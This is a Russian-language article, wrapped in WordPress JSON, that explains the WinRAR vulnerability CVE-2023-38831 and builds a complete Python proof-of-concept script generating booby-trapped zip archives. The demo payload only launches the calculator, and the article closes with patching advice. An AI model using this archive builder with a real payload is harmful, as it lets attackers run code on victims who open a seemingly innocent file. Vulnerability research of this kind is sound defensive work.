\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. Red Team \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e &#171;GISCYBERTEAM&#187; \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u0435\u0442\u044c\u0438\u043c\u0438 \u043b\u0438\u0446\u0430\u043c\u0438.  <\/p>\n<\/blockquote>\n<h3>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h3>\n<p>10 \u0438\u044e\u043b\u044f 2023 \u0433\u043e\u0434\u0430 \u043f\u0440\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c DarkMe, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 \u0438\u0437 Group-IB \u0431\u044b\u043b\u0430 <a href=\"https:\/\/www.group-ib.com\/blog\/cve-2023-38831-winrar-zero-day\/\" rel=\"noopener noreferrer nofollow\">\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430<\/a> \u0440\u0430\u043d\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 WinRAR, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043a\u0430\u0441\u0430\u043b\u0430\u0441\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 zip-\u0430\u0440\u0445\u0438\u0432\u043e\u0432. \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-38831\" rel=\"noopener noreferrer nofollow\">CVE-2023-38831<\/a>. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 Group-IB, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0442\u0440\u0435\u0439\u0434\u0435\u0440\u0441\u043a\u0438\u0445 \u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u0441 \u0430\u043f\u0440\u0435\u043b\u044f 2023 \u0433\u043e\u0434\u0430. \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u043b\u0438 \u0434\u0435\u043d\u044c\u0433\u0438 \u0441 \u0431\u0440\u043e\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0441\u0447\u0435\u0442\u043e\u0432 \u0436\u0435\u0440\u0442\u0432. \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f, \u0432 \u0447\u0435\u043c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043a\u0430\u043a \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c.<\/p>\n<h3>\u042d\u0442\u0430\u043f\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<\/h3>\n<p>\u0421\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0435\u043b\u0438\u0442\u0441\u044f \u043d\u0430 \u0434\u0432\u0430 \u044d\u0442\u0430\u043f\u0430:<\/p>\n<ol>\n<li>\n<p>\u0416\u0435\u0440\u0442\u0432\u0430 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043d\u0430 \u0444\u0430\u0439\u043b-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443.<\/p>\n<\/li>\n<li>\n<p>\u0421\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d \u0432 \u043e\u0434\u043d\u043e\u0438\u043c\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435.<\/p>\n<\/li>\n<\/ol>\n<h3>\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438<\/h3>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0430\u0436\u043c\u0435\u0442 \u043d\u0430 \u0444\u0430\u0439\u043b, WinRar \u043f\u0440\u043e\u0439\u0434\u0451\u0442 \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u0432 zip-\u0444\u0430\u0439\u043b\u0435, \u0441\u0440\u0430\u0432\u043d\u0438\u0442 dir_entry->name (dir_entry \u0437\u0434\u0435\u0441\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0430\u044f \u0441\u043e\u0431\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0430 name &#8212; \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438) \u0441 click_name (\u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0449\u0435\u043b\u043a\u043d\u0443\u043b\u0438).<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u043b\u0438\u043d\u0430 \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0440\u0430\u0432\u043d\u0430 \u0434\u043b\u0438\u043d\u0435 click_name, \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0442\u0438\u043f\u0430 <code>\"bait_file.pdf \"<\/code>\u0438 <code>\"bait_file.pdf \\\\\\\\bait_file.pdf .cmd \"<\/code>\u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443, \u0435\u0441\u043b\u0438 \u0432 \u0430\u0440\u0445\u0438\u0432\u0435 \u0435\u0441\u0442\u044c \u043f\u0430\u043f\u043a\u0430 \u0441 \u0442\u0435\u043c \u0436\u0435 \u0438\u043c\u0435\u043d\u0435\u043c, \u0447\u0442\u043e \u0438 \u0443 \u0444\u0430\u0439\u043b\u0430, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0449\u0435\u043b\u043a\u043d\u0443\u043b\u0438, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0432\u0435\u0440\u043d\u0435\u0442 1, \u0447\u0442\u043e\u0431\u044b \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435. \u0412\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0444\u0430\u0439\u043b <code>.cmd<\/code> \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 pdf-\u0444\u0430\u0439\u043b\u043e\u043c \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u044b \u0432 TEMP-\u043f\u0430\u043f\u043a\u0443.<\/p>\n<p>\u041d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u0439 \u0432\u044b\u0448\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0444\u0430\u0439\u043b\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e ShellExecuteExW.<\/p>\n<p>\u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c WinRAR \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c .cmd \u0444\u0430\u0439\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<ol>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043f\u0430\u043f\u043a\u0443 \u0441 \u0442\u0435\u043c \u0436\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c, \u0447\u0442\u043e \u0438 \u043d\u0430\u0448 \u0444\u0430\u0439\u043b-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0412 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435 \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442-\u0444\u0430\u0439\u043b \u0441 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u0447\u0442\u043e \u0438 \u0443 \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438, \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0432 \u043a\u043e\u043d\u0435\u0446 <code>.cmd.<\/code><\/p>\n<\/li>\n<li>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e ShellExecuteExW \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u043d \u043f\u043e\u043c\u0438\u043c\u043e \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438, \u0444\u0430\u0439\u043b <code>bait_file.pdf .cmd.<\/code><\/p>\n<\/li>\n<\/ol>\n<blockquote>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0446\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0431\u0435\u043b!<\/p>\n<\/blockquote>\n<h3>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430<\/h3>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430, \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 bat-\u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f:<\/p>\n<pre><code>calc &amp;  bait_file.pdf<\/code><\/pre>\n<p>\u041f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043e\u0442\u043a\u0440\u043e\u0435\u0442\u0441\u044f \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440 \u0438 \u0441\u0430\u043c pdf-\u0444\u0430\u0439\u043b.<\/p>\n<p>\u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438:<\/p>\n<pre><code class=\"python\">import shutil  import os, sys  from os.path import join  import argparse<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0443\u0436\u0438\u0442\u044c \u0434\u043b\u044f \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0437\u0436\u0435 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043f\u0430\u0440\u0441\u0435\u0440 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432:<\/p>\n<pre><code class=\"python\">TEMPLATE_NAME = 'tmp' parser = argparse.ArgumentParser(description='PoC of CVE-2023-38831') parser.add_argument('--bait_name', dest='bait_name', help='\u0418\u043c\u044f pdf-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438') parser.add_argument('--script_name', dest='script_name', help='\u0418\u043c\u044f \u0441\u043a\u0440\u0438\u043f\u0442-\u0444\u0430\u0439\u043b\u0430') parser.add_argument('--output', dest='output_name', help='\u0418\u043c\u044f \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430') args = parser.parse_args() bait_name = args.bait_name script_name = args.script_name output_name = args.output_name<\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u043f\u0430\u043f\u043a\u0443, \u0437\u0430\u043a\u0438\u0434\u044b\u0432\u0430\u0435\u043c \u0442\u0443\u0434\u0430 \u0444\u0430\u0439\u043b\u044b \u0438 \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0443\u0435\u043c:<\/p>\n<pre><code class=\"python\">if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = join(TEMPLATE_NAME, bait_name + \"A\") if not os.path.exists(d): os.mkdir(d) shutil.copyfile(join(script_name), join(d, bait_name+\"A.cmd\")) shutil.copyfile(join(bait_name), join(TEMPLATE_NAME, bait_name+\"B\")) shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)<\/code><\/pre>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0430\u0440\u0445\u0438\u0432:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422.\u0435. \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0444\u0430\u0439\u043b-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 bait_file.pdfB \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 bait_file.pdfA \u0441 \u0444\u0430\u0439\u043b\u043e\u043c bait_file.pdfA.cmd.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0443\u0436\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0430\u0440\u0445\u0438\u0432\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0448 pdf-\u0444\u0430\u0439\u043b \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043d\u0430\u0437\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e. \u0428\u0442\u0430\u0442\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u0431\u0443\u0434\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0430 \u201c\u0424\u0430\u0439\u043b \u0441 \u0442\u0430\u043a\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\u201d. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043f\u043e\u0441\u0442\u0443\u043f\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043e\u0442\u043a\u0440\u043e\u0435\u043c zip-\u0444\u0430\u0439\u043b \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u2018rb\u2019 (\u0447\u0442\u0435\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432), \u0437\u0430\u043c\u0435\u043d\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435, \u0438 \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u2018wb\u2019:<\/p>\n<pre><code class=\"python\">with open(TEMPLATE_NAME + \".zip\", \"rb\") as f: content = f.read() content = content.replace(bait_name + b\"A\", bait_name + b\" \") content = content.replace(bait_name + b\"B\", bait_name + b\" \") os.remove(TEMPLATE_NAME + \".zip\") with open(output_name, \"wb\")  as f: f.write(content)<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0435\u0440\u0435\u0434\u0430\u0434\u0438\u043c \u044d\u0442\u043e\u0442 \u0430\u0440\u0445\u0438\u0432 \u043d\u0430 windows-\u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044c pdf-\u0444\u0430\u0439\u043b \u0432 winrar:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0443 \u043d\u0430\u0441 \u043e\u0442\u043a\u0440\u044b\u043b\u0441\u044f \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440 \u0438 \u0441\u0430\u043c pdf-\u0444\u0430\u0439\u043b, \u0442.\u0435. \u043d\u0430\u0448 \u0441\u043a\u0440\u0438\u043f\u0442-\u0444\u0430\u0439\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e.<\/p>\n<p>\u041f\u043e\u043b\u043d\u044b\u0439 \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430:<\/p>\n<pre><code class=\"python\">import shutil import os, sys from os.path import join import argparse TEMPLATE_NAME = 'tmp' parser = argparse.ArgumentParser(description='PoC of CVE-2023-38831') parser.add_argument('--bait_name', dest='bait_name', help='\u0418\u043c\u044f pdf-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438') parser.add_argument('--script_name', dest='script_name', help='\u0418\u043c\u044f \u0441\u043a\u0440\u0438\u043f\u0442-\u0444\u0430\u0439\u043b\u0430') parser.add_argument('--output', dest='output_name', help='\u0418\u043c\u044f \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430') args = parser.parse_args() bait_name = args.bait_name script_name = args.script_name output_name = args.output_name if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = join(TEMPLATE_NAME, bait_name + \"A\") if not os.path.exists(d): os.mkdir(d) shutil.copyfile(join(script_name), join(d, bait_name+\"A.cmd\")) shutil.copyfile(join(bait_name), join(TEMPLATE_NAME, bait_name+\"B\")) shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME) bait_extension = b\".\" + bait_name.split(\".\")[-1].encode(\"utf-8\") print(bait_extension) with open(TEMPLATE_NAME + \".zip\", \"rb\") as f: content = f.read() content = content.replace(bait_extension + b\"A\", bait_extension + b\" \") content = content.replace(bait_extension + b\"B\", bait_extension + b\" \") os.remove(TEMPLATE_NAME + \".zip\") with open(output_name, \"wb\")  as f: f.write(content)<\/code><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435, \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0432\u0438\u0434\u0430\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, txt, png, jpg.<\/p>\n<h3>\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438<\/h3>\n<p>\u041a \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 WinRAR &lt; <a href=\"https:\/\/www.win-rar.com\/singlenewsview.html?&amp;L=0&amp;tx_ttnews%5Btt_news%5D=232&amp;cHash=c5bf79590657e32554c6683296a8e8aa\" rel=\"noopener noreferrer nofollow\">6.23<\/a>. \u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0438\u0442\u044c \u0441\u0435\u0431\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \u0421\u0430\u043c\u0443\u044e \u0441\u0432\u0435\u0436\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043f\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 <a href=\"https:\/\/www.rarlab.com\/download.htm\" rel=\"noopener noreferrer nofollow\">\u0441\u0441\u044b\u043b\u043a\u0435<\/a>.<\/p>\n<p><em>\u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u043d\u0430 \u043d\u0430\u0448 Telegram-\u043a\u0430\u043d\u0430\u043b\u00a0<\/em><a href=\"https:\/\/t.me\/giscyberteam\" rel=\"noopener noreferrer nofollow\"><em>https:\/\/t.me\/giscyberteam<\/em><\/a>  <\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/797127\/\"> https:\/\/habr.com\/ru\/articles\/797127\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-369578","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/369578","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=369578"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/369578\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=369578"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=369578"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=369578"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}